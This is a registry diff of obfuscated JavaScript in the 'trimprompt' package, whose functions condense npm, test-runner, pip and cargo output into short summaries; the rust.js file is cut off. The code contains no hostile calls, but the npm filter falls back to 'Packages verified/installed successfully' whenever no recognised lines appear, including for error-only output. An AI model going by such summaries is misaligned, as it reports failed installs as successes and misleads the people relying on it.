trimprompt 1.0.12 → 1.0.14

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/filters/js.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x8eb7b5=a0_0x252e;(function(_0x6d2344,_0x21d35a){const _0x5b47e9=a0_0x252e,_0x472cec=_0x6d2344();while(!![]){try{const _0x4dbe70=-parseInt(_0x5b47e9(0x185))/0x1*(parseInt(_0x5b47e9(0x186))/0x2)+parseInt(_0x5b47e9(0x189))/0x3+parseInt(_0x5b47e9(0x16c))/0x4+-parseInt(_0x5b47e9(0x16f))/0x5+parseInt(_0x5b47e9(0x17c))/0x6+-parseInt(_0x5b47e9(0x187))/0x7*(-parseInt(_0x5b47e9(0x16a))/0x8)+-parseInt(_0x5b47e9(0x171))/0x9*(-parseInt(_0x5b47e9(0x17b))/0xa);if(_0x4dbe70===_0x21d35a)break;else _0x472cec['push'](_0x472cec['shift']());}catch(_0x57ae6e){_0x472cec['push'](_0x472cec['shift']());}}}(a0_0x523b,0x63f64));Object[a0_0x8eb7b5(0x181)](exports,'__esModule',{'value':!![]}),exports[a0_0x8eb7b5(0x179)]=filterNpmInstall,exports[a0_0x8eb7b5(0x184)]=filterJestVitest;function a0_0x523b(){const _0x2c0437=['length','split','\x20passed','filterNpmInstall','replace','648870kgaAhY','2746764SNbKIk','Test\x20Suites:','FAIL','Test\x20Runner:\x20','startsWith','defineProperty','includes','NPM:\x20Packages\x20verified/installed\x20successfully','filterJestVitest','813861jbKQyl','2wQMNiT','7PrYHAw','push','938406sOYGGq','join','Tests:','trim','added\x20','match','\x20\x20...\x20(','1503928zxfJBf','\x20passed,\x20','905788kvhrBb','found\x20','\x20failed\x20(','457515awxAHg','PASS','18IUzUEE','Test\x20Files:','up\x20to\x20date','\x0aFailures:','\x20lines\x20of\x20trace\x20details\x20truncated)'];a0_0x523b=function(){return _0x2c0437;};return a0_0x523b();}function filterNpmInstall(_0xac60bd){const _0x2eca9e=a0_0x8eb7b5,_0xe60330=_0xac60bd[_0x2eca9e(0x17a)](/\r/g,'\x0a'),_0x549def=_0xe60330['split']('\x0a'),_0x4c5f2e=[];for(const _0x3ffcd6 of _0x549def){const _0x129a4b=_0x3ffcd6[_0x2eca9e(0x18c)]();(_0x129a4b[_0x2eca9e(0x182)](_0x2eca9e(0x18d))||_0x129a4b[_0x2eca9e(0x182)]('removed\x20')||_0x129a4b[_0x2eca9e(0x182)]('audited\x20')||_0x129a4b[_0x2eca9e(0x182)](_0x2eca9e(0x173))||_0x129a4b[_0x2eca9e(0x182)](_0x2eca9e(0x16d)))&&(!_0x129a4b[_0x2eca9e(0x182)]('%')&&!_0x129a4b[_0x2eca9e(0x180)]('⠋')&&!_0x129a4b[_0x2eca9e(0x180)]('⠙')&&_0x4c5f2e[_0x2eca9e(0x188)](_0x129a4b));}const _0x252249=_0x4c5f2e[_0x2eca9e(0x18a)]('\x0a')[_0x2eca9e(0x18c)]();return _0x252249[_0x2eca9e(0x176)]>0x0?_0x252249:_0x2eca9e(0x183);}function a0_0x252e(_0x242d28,_0x2c83db){_0x242d28=_0x242d28-0x168;const _0x523b1d=a0_0x523b();let _0x252e5b=_0x523b1d[_0x242d28];return _0x252e5b;}function filterJestVitest(_0x514183){const _0x4d72e6=a0_0x8eb7b5,_0x1ba42c=_0x514183[_0x4d72e6(0x177)]('\x0a');let _0x42bfdc=0x0,_0x3339d7=0x0,_0x1c75ce=0x0;const _0x312ff5=[];let _0x239fea=![];for(const _0x3c1a8a of _0x1ba42c){const _0x3f1a0e=_0x3c1a8a[_0x4d72e6(0x18c)]();if(_0x3f1a0e[_0x4d72e6(0x180)](_0x4d72e6(0x18b))||_0x3f1a0e[_0x4d72e6(0x182)](_0x4d72e6(0x172))){const _0x3a297d=_0x3f1a0e[_0x4d72e6(0x168)](/(\d+)\s+passed/),_0x56b11c=_0x3f1a0e[_0x4d72e6(0x168)](/(\d+)\s+failed/),_0x3fd63c=_0x3f1a0e[_0x4d72e6(0x168)](/(\d+)\s+total/);if(_0x3a297d)_0x42bfdc=parseInt(_0x3a297d[0x1]);if(_0x56b11c)_0x3339d7=parseInt(_0x56b11c[0x1]);if(_0x3fd63c)_0x1c75ce=parseInt(_0x3fd63c[0x1]);continue;}(_0x3f1a0e['startsWith']('❯')||_0x3f1a0e['startsWith']('●')||_0x3f1a0e[_0x4d72e6(0x180)]('FAIL\x20\x20'))&&(_0x239fea=!![]),_0x239fea&&(_0x3f1a0e[_0x4d72e6(0x176)]>0x0&&!_0x3f1a0e[_0x4d72e6(0x180)](_0x4d72e6(0x17d))&&!_0x3f1a0e[_0x4d72e6(0x180)](_0x4d72e6(0x18b))&&_0x312ff5[_0x4d72e6(0x188)](_0x3c1a8a));}if(_0x1c75ce===0x0&&_0x42bfdc===0x0&&_0x3339d7===0x0){if(_0x514183['includes'](_0x4d72e6(0x170))&&!_0x514183[_0x4d72e6(0x182)](_0x4d72e6(0x17e))){const _0x457120=_0x514183[_0x4d72e6(0x168)](/(\d+)\s+passed/),_0x4165b4=_0x457120?_0x457120[0x1]:'all';return _0x4d72e6(0x17f)+_0x4165b4+'\x20passed';}return _0x514183;}if(_0x3339d7===0x0&&_0x42bfdc>0x0)return'Test\x20Runner:\x20'+_0x42bfdc+_0x4d72e6(0x178);const _0x31f197=[_0x4d72e6(0x17f)+_0x42bfdc+_0x4d72e6(0x16b)+_0x3339d7+_0x4d72e6(0x16e)+_0x1c75ce+'\x20total)'];if(_0x312ff5[_0x4d72e6(0x176)]>0x0){_0x31f197[_0x4d72e6(0x188)](_0x4d72e6(0x174));const _0x1698c8=0x19,_0x42044e=_0x312ff5['slice'](0x0,_0x1698c8);for(const _0x33cb44 of _0x42044e){_0x31f197[_0x4d72e6(0x188)]('\x20\x20'+_0x33cb44);}_0x312ff5[_0x4d72e6(0x176)]>_0x1698c8&&_0x31f197[_0x4d72e6(0x188)](_0x4d72e6(0x169)+(_0x312ff5[_0x4d72e6(0x176)]-_0x1698c8)+_0x4d72e6(0x175));}return _0x31f197[_0x4d72e6(0x18a)]('\x0a');}
1
+ 'use strict';function a0_0x4e07(_0x4a90d3,_0x42943a){_0x4a90d3=_0x4a90d3-0xc0;const _0x35d7cf=a0_0x35d7();let _0x4e0711=_0x35d7cf[_0x4a90d3];return _0x4e0711;}const a0_0xe75181=a0_0x4e07;(function(_0x412429,_0x2c730b){const _0x5770eb=a0_0x4e07,_0x37990a=_0x412429();while(!![]){try{const _0x431840=parseInt(_0x5770eb(0xcd))/0x1+parseInt(_0x5770eb(0xca))/0x2*(-parseInt(_0x5770eb(0xd5))/0x3)+parseInt(_0x5770eb(0xc7))/0x4+parseInt(_0x5770eb(0xc5))/0x5+-parseInt(_0x5770eb(0xc0))/0x6+parseInt(_0x5770eb(0xd3))/0x7+-parseInt(_0x5770eb(0xd4))/0x8*(parseInt(_0x5770eb(0xe5))/0x9);if(_0x431840===_0x2c730b)break;else _0x37990a['push'](_0x37990a['shift']());}catch(_0x46c0fd){_0x37990a['push'](_0x37990a['shift']());}}}(a0_0x35d7,0x39411));Object['defineProperty'](exports,a0_0xe75181(0xe3),{'value':!![]}),exports[a0_0xe75181(0xd9)]=filterNpmInstall,exports['filterJestVitest']=filterJestVitest;function filterNpmInstall(_0x4b04d4){const _0x324863=a0_0xe75181,_0x339733=_0x4b04d4['replace'](/\r/g,'\x0a'),_0x57542e=_0x339733[_0x324863(0xcc)]('\x0a'),_0x3daf8e=[];for(const _0x4ea95e of _0x57542e){const _0x28a669=_0x4ea95e['trim']();(_0x28a669[_0x324863(0xce)](_0x324863(0xdc))||_0x28a669[_0x324863(0xce)](_0x324863(0xe6))||_0x28a669[_0x324863(0xce)](_0x324863(0xcf))||_0x28a669[_0x324863(0xce)](_0x324863(0xd7))||_0x28a669['includes'](_0x324863(0xc3)))&&(!_0x28a669[_0x324863(0xce)]('%')&&!_0x28a669[_0x324863(0xd6)]('⠋')&&!_0x28a669[_0x324863(0xd6)]('⠙')&&_0x3daf8e[_0x324863(0xc6)](_0x28a669));}const _0x595087=_0x3daf8e[_0x324863(0xda)]('\x0a')[_0x324863(0xe0)]();return _0x595087['length']>0x0?_0x595087:'NPM:\x20Packages\x20verified/installed\x20successfully';}function a0_0x35d7(){const _0x17fffb=['audited\x20','FAIL\x20\x20','slice','length','1212064zvfsBp','330976gXrFPM','81zAOtMy','startsWith','up\x20to\x20date','Test\x20Runner:\x20','filterNpmInstall','join','\x20passed,\x20','added\x20','PASS','Tests:','\x20passed','trim','all','\x20total)','__esModule','\x0aFailures:','81DyiGpt','removed\x20','474378NEGWNk','match','\x20\x20...\x20(','found\x20','\x20lines\x20of\x20trace\x20details\x20truncated)','1636545NJYDws','push','690172BbtwNA','\x20failed\x20(','Test\x20Suites:','14038gBKZJy','Test\x20Files:','split','202433IRuPGJ','includes'];a0_0x35d7=function(){return _0x17fffb;};return a0_0x35d7();}function filterJestVitest(_0x5cbd8e){const _0x42ca9a=a0_0xe75181,_0x3ea21d=_0x5cbd8e[_0x42ca9a(0xcc)]('\x0a');let _0x5224bc=0x0,_0x4258ba=0x0,_0x38132a=0x0;const _0x3fc6d7=[];let _0xc7cb59=![];for(const _0x8315d0 of _0x3ea21d){const _0x234d2a=_0x8315d0['trim']();if(_0x234d2a[_0x42ca9a(0xd6)]('Tests:')||_0x234d2a[_0x42ca9a(0xce)](_0x42ca9a(0xcb))){const _0x422987=_0x234d2a['match'](/(\d+)\s+passed/),_0x1b9305=_0x234d2a[_0x42ca9a(0xc1)](/(\d+)\s+failed/),_0x1c7b5b=_0x234d2a[_0x42ca9a(0xc1)](/(\d+)\s+total/);if(_0x422987)_0x5224bc=parseInt(_0x422987[0x1]);if(_0x1b9305)_0x4258ba=parseInt(_0x1b9305[0x1]);if(_0x1c7b5b)_0x38132a=parseInt(_0x1c7b5b[0x1]);continue;}(_0x234d2a[_0x42ca9a(0xd6)]('❯')||_0x234d2a[_0x42ca9a(0xd6)]('●')||_0x234d2a[_0x42ca9a(0xd6)](_0x42ca9a(0xd0)))&&(_0xc7cb59=!![]),_0xc7cb59&&(_0x234d2a[_0x42ca9a(0xd2)]>0x0&&!_0x234d2a['startsWith'](_0x42ca9a(0xc9))&&!_0x234d2a[_0x42ca9a(0xd6)](_0x42ca9a(0xde))&&_0x3fc6d7['push'](_0x8315d0));}if(_0x38132a===0x0&&_0x5224bc===0x0&&_0x4258ba===0x0){if(_0x5cbd8e[_0x42ca9a(0xce)](_0x42ca9a(0xdd))&&!_0x5cbd8e['includes']('FAIL')){const _0xd68661=_0x5cbd8e[_0x42ca9a(0xc1)](/(\d+)\s+passed/),_0x46cb34=_0xd68661?_0xd68661[0x1]:_0x42ca9a(0xe1);return'Test\x20Runner:\x20'+_0x46cb34+_0x42ca9a(0xdf);}return _0x5cbd8e;}if(_0x4258ba===0x0&&_0x5224bc>0x0)return _0x42ca9a(0xd8)+_0x5224bc+_0x42ca9a(0xdf);const _0x1b0f13=[_0x42ca9a(0xd8)+_0x5224bc+_0x42ca9a(0xdb)+_0x4258ba+_0x42ca9a(0xc8)+_0x38132a+_0x42ca9a(0xe2)];if(_0x3fc6d7[_0x42ca9a(0xd2)]>0x0){_0x1b0f13['push'](_0x42ca9a(0xe4));const _0x4bc5ec=0x19,_0x97e599=_0x3fc6d7[_0x42ca9a(0xd1)](0x0,_0x4bc5ec);for(const _0x13a243 of _0x97e599){_0x1b0f13[_0x42ca9a(0xc6)]('\x20\x20'+_0x13a243);}_0x3fc6d7[_0x42ca9a(0xd2)]>_0x4bc5ec&&_0x1b0f13[_0x42ca9a(0xc6)](_0x42ca9a(0xc2)+(_0x3fc6d7['length']-_0x4bc5ec)+_0x42ca9a(0xc4));}return _0x1b0f13[_0x42ca9a(0xda)]('\x0a');}
package/filters/python.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0xd11546=a0_0x5175;function a0_0x4af2(){const _0x20e967=['1630PEdbOY','===\x20FAILURES\x20===','startsWith','match','8jBetjE','___','E\x20\x20\x20','\x20\x20...\x20+','passed','filterPytest','failed','Collecting','split','.\x20[FAIL]\x20','\x20in\x20','filterPipInstall','defineProperty','replace','\x20failed','\x20passed','\x20xpassed\x20(warning!)','===\x20short\x20test\x20summary\x20info\x20===','\x20\x20\x20\x20','slice','\x20skipped','706530YFOQZX','Using\x20cached','===\x20ERRORS\x20===','1283933CtzgDh','.py:','106230pCQmuV','join','118140kBOgkM','55113uqKiTk','filter','includes','7602642selHIv','push','AssertionError:','trim','\x20xfailed','292HwLhiG','\x0aFailures:','Pytest:\x20','length','\x20\x20\x20\x20...\x20('];a0_0x4af2=function(){return _0x20e967;};return a0_0x4af2();}(function(_0xe0dfa2,_0x267c68){const _0x427bea=a0_0x5175,_0x283aae=_0xe0dfa2();while(!![]){try{const _0x43a156=-parseInt(_0x427bea(0x203))/0x1+-parseInt(_0x427bea(0x1fe))/0x2+-parseInt(_0x427bea(0x206))/0x3+parseInt(_0x427bea(0x1e0))/0x4*(-parseInt(_0x427bea(0x1e5))/0x5)+parseInt(_0x427bea(0x205))/0x6+-parseInt(_0x427bea(0x201))/0x7*(parseInt(_0x427bea(0x1e9))/0x8)+parseInt(_0x427bea(0x1db))/0x9;if(_0x43a156===_0x267c68)break;else _0x283aae['push'](_0x283aae['shift']());}catch(_0x795818){_0x283aae['push'](_0x283aae['shift']());}}}(a0_0x4af2,0x2bc91));Object[a0_0xd11546(0x1f5)](exports,'__esModule',{'value':!![]}),exports[a0_0xd11546(0x1ee)]=filterPytest,exports[a0_0xd11546(0x1f4)]=filterPipInstall;function filterPytest(_0x48987e){const _0x3454cd=a0_0xd11546,_0x30a3e2=_0x48987e['split']('\x0a');let _0x11b83b=0x0,_0x3e4f56=0x0,_0xaaa19c=0x0,_0x27cc87=0x0,_0x2180a4=0x0;const _0x8120fa=[];let _0x423498=[],_0x4969b9=![];for(const _0x578087 of _0x30a3e2){const _0x483958=_0x578087[_0x3454cd(0x1de)]();if(_0x483958[_0x3454cd(0x1e7)](_0x3454cd(0x1e6))||_0x483958[_0x3454cd(0x1e7)](_0x3454cd(0x200))){_0x4969b9=!![];continue;}else(_0x483958[_0x3454cd(0x1e7)](_0x3454cd(0x1fa))||_0x483958[_0x3454cd(0x1e7)]('===')&&_0x483958[_0x3454cd(0x1da)](_0x3454cd(0x1ed)))&&(_0x4969b9=![],_0x423498['length']>0x0&&(_0x8120fa['push'](_0x423498),_0x423498=[]));if(_0x4969b9){if(_0x483958['startsWith'](_0x3454cd(0x1ea)))_0x423498[_0x3454cd(0x1e3)]>0x0&&(_0x8120fa[_0x3454cd(0x1dc)](_0x423498),_0x423498=[]),_0x423498[_0x3454cd(0x1dc)](_0x483958);else _0x483958[_0x3454cd(0x1e3)]>0x0&&_0x423498['push'](_0x578087);continue;}if(_0x483958[_0x3454cd(0x1e7)]('===')&&_0x483958[_0x3454cd(0x1da)](_0x3454cd(0x1f3))){const _0x2ee631=_0x483958[_0x3454cd(0x1e8)](/(\d+)\s+passed/),_0x24db37=_0x483958[_0x3454cd(0x1e8)](/(\d+)\s+failed/),_0x53ad7d=_0x483958[_0x3454cd(0x1e8)](/(\d+)\s+skipped/),_0x3b5592=_0x483958['match'](/(\d+)\s+xfailed/),_0x5d97f9=_0x483958['match'](/(\d+)\s+xpassed/);if(_0x2ee631)_0x11b83b=parseInt(_0x2ee631[0x1]);if(_0x24db37)_0x3e4f56=parseInt(_0x24db37[0x1]);if(_0x53ad7d)_0xaaa19c=parseInt(_0x53ad7d[0x1]);if(_0x3b5592)_0x27cc87=parseInt(_0x3b5592[0x1]);if(_0x5d97f9)_0x2180a4=parseInt(_0x5d97f9[0x1]);}}_0x423498['length']>0x0&&_0x8120fa[_0x3454cd(0x1dc)](_0x423498);if(_0x11b83b===0x0&&_0x3e4f56===0x0&&_0xaaa19c===0x0&&_0x27cc87===0x0&&_0x2180a4===0x0){if(_0x48987e[_0x3454cd(0x1da)](_0x3454cd(0x1ed))&&!_0x48987e['includes'](_0x3454cd(0x1ef)))return'Pytest:\x20All\x20tests\x20passed';return _0x48987e;}if(_0x3e4f56===0x0&&_0x11b83b>0x0&&_0xaaa19c===0x0&&_0x27cc87===0x0&&_0x2180a4===0x0)return _0x3454cd(0x1e2)+_0x11b83b+_0x3454cd(0x1f8);const _0x25f7b7=[];_0x25f7b7[_0x3454cd(0x1dc)](_0x3454cd(0x1e2)+_0x11b83b+_0x3454cd(0x1f8));if(_0x3e4f56>0x0)_0x25f7b7['push'](_0x3e4f56+_0x3454cd(0x1f7));if(_0xaaa19c>0x0)_0x25f7b7[_0x3454cd(0x1dc)](_0xaaa19c+_0x3454cd(0x1fd));if(_0x27cc87>0x0)_0x25f7b7['push'](_0x27cc87+_0x3454cd(0x1df));if(_0x2180a4>0x0)_0x25f7b7[_0x3454cd(0x1dc)](_0x2180a4+_0x3454cd(0x1f9));const _0x334791=[_0x25f7b7['join'](',\x20')];if(_0x8120fa[_0x3454cd(0x1e3)]>0x0){_0x334791[_0x3454cd(0x1dc)](_0x3454cd(0x1e1));const _0xbd7d2c=0x3,_0xb840fd=_0x8120fa['slice'](0x0,_0xbd7d2c);for(let _0x59e502=0x0;_0x59e502<_0xb840fd[_0x3454cd(0x1e3)];_0x59e502++){const _0x3cf9fc=_0xb840fd[_0x59e502],_0x1f5525=_0x3cf9fc[0x0][_0x3454cd(0x1f6)](/_/g,'')['trim']();_0x334791[_0x3454cd(0x1dc)]('\x20\x20'+(_0x59e502+0x1)+_0x3454cd(0x1f2)+_0x1f5525);const _0x2ab531=_0x3cf9fc[_0x3454cd(0x1fc)](0x1),_0xaee9c8=_0x2ab531[_0x3454cd(0x207)](_0x483d5f=>{const _0x980ed5=_0x3454cd,_0x5e3c22=_0x483d5f[_0x980ed5(0x1de)]();return _0x5e3c22[_0x980ed5(0x1e7)]('>')||_0x5e3c22[_0x980ed5(0x1e7)](_0x980ed5(0x1eb))||_0x5e3c22['includes'](_0x980ed5(0x202))||_0x5e3c22[_0x980ed5(0x1da)](_0x980ed5(0x1dd));});for(const _0xe11c63 of _0xaee9c8[_0x3454cd(0x1fc)](0x0,0x8)){_0x334791[_0x3454cd(0x1dc)](_0x3454cd(0x1fb)+_0xe11c63);}_0xaee9c8[_0x3454cd(0x1e3)]>0x8&&_0x334791[_0x3454cd(0x1dc)](_0x3454cd(0x1e4)+(_0xaee9c8[_0x3454cd(0x1e3)]-0x8)+'\x20lines\x20of\x20stacktrace\x20truncated)');}_0x8120fa['length']>_0xbd7d2c&&_0x334791[_0x3454cd(0x1dc)](_0x3454cd(0x1ec)+(_0x8120fa[_0x3454cd(0x1e3)]-_0xbd7d2c)+'\x20more\x20failures\x20truncated');}return _0x334791[_0x3454cd(0x204)]('\x0a');}function a0_0x5175(_0x3d17da,_0x4fe67c){_0x3d17da=_0x3d17da-0x1da;const _0x4af2a5=a0_0x4af2();let _0x517546=_0x4af2a5[_0x3d17da];return _0x517546;}function filterPipInstall(_0x3d7a0a){const _0x3cd830=a0_0xd11546,_0x9ec570=_0x3d7a0a[_0x3cd830(0x1f1)]('\x0a'),_0x37958a=[];for(const _0xbbf12a of _0x9ec570){const _0x25ff16=_0xbbf12a[_0x3cd830(0x1de)]();_0x25ff16[_0x3cd830(0x1e7)]('Successfully\x20installed')&&_0x37958a[_0x3cd830(0x1dc)](_0x25ff16);}if(_0x37958a[_0x3cd830(0x1e3)]>0x0)return _0x37958a['join']('\x0a');return _0x9ec570[_0x3cd830(0x207)](_0x4e6890=>{const _0x3577c4=_0x3cd830,_0x7151ed=_0x4e6890[_0x3577c4(0x1de)]();return!_0x7151ed['startsWith'](_0x3577c4(0x1f0))&&!_0x7151ed[_0x3577c4(0x1e7)]('Downloading')&&!_0x7151ed[_0x3577c4(0x1da)](_0x3577c4(0x1ff))&&!_0x7151ed[_0x3577c4(0x1e7)]('Requirement\x20already\x20satisfied');})[_0x3cd830(0x204)]('\x0a')['trim']();}
1
+ 'use strict';function a0_0x5752(){const _0x3a75a2=['\x20failed','180pFVraK','failed','Successfully\x20installed','__esModule','\x20\x20...\x20+','length','filterPytest','2rdJwPF','112460AhqgXw','===\x20ERRORS\x20===','Downloading','\x20skipped','push','.\x20[FAIL]\x20','startsWith','includes','\x20\x20\x20\x20...\x20(','\x20\x20\x20\x20','\x0aFailures:','52856ycjBnp','split','filter','49370AlbMpN','join','\x20lines\x20of\x20stacktrace\x20truncated)','\x20passed','slice','filterPipInstall','AssertionError:','4121590PnaUFc','match','Collecting','Pytest:\x20All\x20tests\x20passed','===\x20FAILURES\x20===','Pytest:\x20','\x20xfailed','\x20xpassed\x20(warning!)','trim','___','defineProperty','15plWaiA','9037vFgJra','5998984PtXkvD','passed','\x20more\x20failures\x20truncated','Using\x20cached','replace','===','2364FjtSNp','Requirement\x20already\x20satisfied','E\x20\x20\x20','17927371pmylQg'];a0_0x5752=function(){return _0x3a75a2;};return a0_0x5752();}const a0_0x54d8b7=a0_0x4ea0;function a0_0x4ea0(_0x2a78b0,_0x5246ca){_0x2a78b0=_0x2a78b0-0x183;const _0x5752a0=a0_0x5752();let _0x4ea0fc=_0x5752a0[_0x2a78b0];return _0x4ea0fc;}(function(_0xd947e7,_0x6f1331){const _0x263558=a0_0x4ea0,_0x183717=_0xd947e7();while(!![]){try{const _0x3b4496=parseInt(_0x263558(0x192))/0x1*(-parseInt(_0x263558(0x1a1))/0x2)+-parseInt(_0x263558(0x1b3))/0x3*(parseInt(_0x263558(0x19e))/0x4)+parseInt(_0x263558(0x1a8))/0x5+parseInt(_0x263558(0x186))/0x6*(parseInt(_0x263558(0x1b4))/0x7)+parseInt(_0x263558(0x1b5))/0x8+-parseInt(_0x263558(0x18b))/0x9*(-parseInt(_0x263558(0x193))/0xa)+-parseInt(_0x263558(0x189))/0xb;if(_0x3b4496===_0x6f1331)break;else _0x183717['push'](_0x183717['shift']());}catch(_0x156061){_0x183717['push'](_0x183717['shift']());}}}(a0_0x5752,0x89584));Object[a0_0x54d8b7(0x1b2)](exports,a0_0x54d8b7(0x18e),{'value':!![]}),exports[a0_0x54d8b7(0x191)]=filterPytest,exports[a0_0x54d8b7(0x1a6)]=filterPipInstall;function filterPytest(_0x3956ac){const _0x36ea11=a0_0x54d8b7,_0x3a7177=_0x3956ac[_0x36ea11(0x19f)]('\x0a');let _0x4443c9=0x0,_0x3939f2=0x0,_0x31b408=0x0,_0x2ca980=0x0,_0x3c0486=0x0;const _0x15737f=[];let _0x24866b=[],_0x49ff12=![];for(const _0x21f48c of _0x3a7177){const _0xb7862c=_0x21f48c[_0x36ea11(0x1b0)]();if(_0xb7862c[_0x36ea11(0x199)](_0x36ea11(0x1ac))||_0xb7862c['startsWith'](_0x36ea11(0x194))){_0x49ff12=!![];continue;}else(_0xb7862c[_0x36ea11(0x199)]('===\x20short\x20test\x20summary\x20info\x20===')||_0xb7862c[_0x36ea11(0x199)](_0x36ea11(0x185))&&_0xb7862c[_0x36ea11(0x19a)]('passed'))&&(_0x49ff12=![],_0x24866b[_0x36ea11(0x190)]>0x0&&(_0x15737f['push'](_0x24866b),_0x24866b=[]));if(_0x49ff12){if(_0xb7862c[_0x36ea11(0x199)](_0x36ea11(0x1b1)))_0x24866b[_0x36ea11(0x190)]>0x0&&(_0x15737f[_0x36ea11(0x197)](_0x24866b),_0x24866b=[]),_0x24866b['push'](_0xb7862c);else _0xb7862c['length']>0x0&&_0x24866b['push'](_0x21f48c);continue;}if(_0xb7862c[_0x36ea11(0x199)](_0x36ea11(0x185))&&_0xb7862c[_0x36ea11(0x19a)]('\x20in\x20')){const _0x3a30b2=_0xb7862c[_0x36ea11(0x1a9)](/(\d+)\s+passed/),_0x1c0b61=_0xb7862c[_0x36ea11(0x1a9)](/(\d+)\s+failed/),_0x285b60=_0xb7862c[_0x36ea11(0x1a9)](/(\d+)\s+skipped/),_0x2d3089=_0xb7862c[_0x36ea11(0x1a9)](/(\d+)\s+xfailed/),_0x552463=_0xb7862c[_0x36ea11(0x1a9)](/(\d+)\s+xpassed/);if(_0x3a30b2)_0x4443c9=parseInt(_0x3a30b2[0x1]);if(_0x1c0b61)_0x3939f2=parseInt(_0x1c0b61[0x1]);if(_0x285b60)_0x31b408=parseInt(_0x285b60[0x1]);if(_0x2d3089)_0x2ca980=parseInt(_0x2d3089[0x1]);if(_0x552463)_0x3c0486=parseInt(_0x552463[0x1]);}}_0x24866b[_0x36ea11(0x190)]>0x0&&_0x15737f[_0x36ea11(0x197)](_0x24866b);if(_0x4443c9===0x0&&_0x3939f2===0x0&&_0x31b408===0x0&&_0x2ca980===0x0&&_0x3c0486===0x0){if(_0x3956ac['includes'](_0x36ea11(0x1b6))&&!_0x3956ac[_0x36ea11(0x19a)](_0x36ea11(0x18c)))return _0x36ea11(0x1ab);return _0x3956ac;}if(_0x3939f2===0x0&&_0x4443c9>0x0&&_0x31b408===0x0&&_0x2ca980===0x0&&_0x3c0486===0x0)return _0x36ea11(0x1ad)+_0x4443c9+_0x36ea11(0x1a4);const _0x42500d=[];_0x42500d[_0x36ea11(0x197)](_0x36ea11(0x1ad)+_0x4443c9+'\x20passed');if(_0x3939f2>0x0)_0x42500d[_0x36ea11(0x197)](_0x3939f2+_0x36ea11(0x18a));if(_0x31b408>0x0)_0x42500d[_0x36ea11(0x197)](_0x31b408+_0x36ea11(0x196));if(_0x2ca980>0x0)_0x42500d[_0x36ea11(0x197)](_0x2ca980+_0x36ea11(0x1ae));if(_0x3c0486>0x0)_0x42500d['push'](_0x3c0486+_0x36ea11(0x1af));const _0x2cb8f5=[_0x42500d['join'](',\x20')];if(_0x15737f[_0x36ea11(0x190)]>0x0){_0x2cb8f5[_0x36ea11(0x197)](_0x36ea11(0x19d));const _0x129dc=0x3,_0x1848a3=_0x15737f[_0x36ea11(0x1a5)](0x0,_0x129dc);for(let _0x2b048c=0x0;_0x2b048c<_0x1848a3[_0x36ea11(0x190)];_0x2b048c++){const _0x298e1f=_0x1848a3[_0x2b048c],_0x5d5dc2=_0x298e1f[0x0][_0x36ea11(0x184)](/_/g,'')[_0x36ea11(0x1b0)]();_0x2cb8f5['push']('\x20\x20'+(_0x2b048c+0x1)+_0x36ea11(0x198)+_0x5d5dc2);const _0x1b05f6=_0x298e1f['slice'](0x1),_0x271f4c=_0x1b05f6[_0x36ea11(0x1a0)](_0x271482=>{const _0x5ae7f7=_0x36ea11,_0x3f8289=_0x271482[_0x5ae7f7(0x1b0)]();return _0x3f8289['startsWith']('>')||_0x3f8289[_0x5ae7f7(0x199)](_0x5ae7f7(0x188))||_0x3f8289[_0x5ae7f7(0x19a)]('.py:')||_0x3f8289['includes'](_0x5ae7f7(0x1a7));});for(const _0x3fc2ad of _0x271f4c['slice'](0x0,0x8)){_0x2cb8f5[_0x36ea11(0x197)](_0x36ea11(0x19c)+_0x3fc2ad);}_0x271f4c[_0x36ea11(0x190)]>0x8&&_0x2cb8f5[_0x36ea11(0x197)](_0x36ea11(0x19b)+(_0x271f4c[_0x36ea11(0x190)]-0x8)+_0x36ea11(0x1a3));}_0x15737f['length']>_0x129dc&&_0x2cb8f5[_0x36ea11(0x197)](_0x36ea11(0x18f)+(_0x15737f[_0x36ea11(0x190)]-_0x129dc)+_0x36ea11(0x1b7));}return _0x2cb8f5['join']('\x0a');}function filterPipInstall(_0x36fd38){const _0x15258b=a0_0x54d8b7,_0x1e1cd6=_0x36fd38[_0x15258b(0x19f)]('\x0a'),_0x1bb0a5=[];for(const _0x42c626 of _0x1e1cd6){const _0x4f775d=_0x42c626[_0x15258b(0x1b0)]();_0x4f775d[_0x15258b(0x199)](_0x15258b(0x18d))&&_0x1bb0a5[_0x15258b(0x197)](_0x4f775d);}if(_0x1bb0a5['length']>0x0)return _0x1bb0a5[_0x15258b(0x1a2)]('\x0a');return _0x1e1cd6['filter'](_0x23549c=>{const _0xb9ac41=_0x15258b,_0x381d2d=_0x23549c[_0xb9ac41(0x1b0)]();return!_0x381d2d[_0xb9ac41(0x199)](_0xb9ac41(0x1aa))&&!_0x381d2d['startsWith'](_0xb9ac41(0x195))&&!_0x381d2d[_0xb9ac41(0x19a)](_0xb9ac41(0x183))&&!_0x381d2d[_0xb9ac41(0x199)](_0xb9ac41(0x187));})['join']('\x0a')['trim']();}
package/filters/rust.js CHANGED
@@ -1 +1 @@
1
- 'use strict';function a0_0x2922(){const _0x39012d=['\x20----','Cargo:\x20','__esModule','Cargo:\x20compiled\x20','thread','min','8tCdaPi','2784hCZKih','split','join','defineProperty','588168VzRiAs','\x20warnings\x20—\x20run\x20cargo\x20clippy\x20for\x20details)','length','\x0aFailures:','6AWbXWD','Compiling\x20','\x20warnings','filterCargoTest','failures:','startsWith','26rYolSE','17182yDIZOI','slice','\x0aWarnings:','warning[','10121922OUGsEW','\x20failed,\x20','panicked','218751JtMyBj','536YXASRo','572684woxQXf','\x20more\x20errors','\x20\x20\x20\x20','\x20crates\x20successfully','\x20more\x20failures','endsWith','60AJFfim','includes','test\x20result:','Cargo\x20test:\x20all\x20tests\x20passed','8040lJfhgj','right:','\x20crates,\x20','\x20errors,\x20','----\x20failures\x20----','\x0aErrors:','\x20\x20...\x20+','\x20passed','\x20ignored','----\x20','\x20passed,\x20','trim','replace','9461179zBDpgp','push','warning:','Cargo\x20test:\x20'];a0_0x2922=function(){return _0x39012d;};return a0_0x2922();}const a0_0x5a6e18=a0_0x318b;(function(_0x2ff3ff,_0x1b041e){const _0x49e45d=a0_0x318b,_0xb6bb96=_0x2ff3ff();while(!![]){try{const 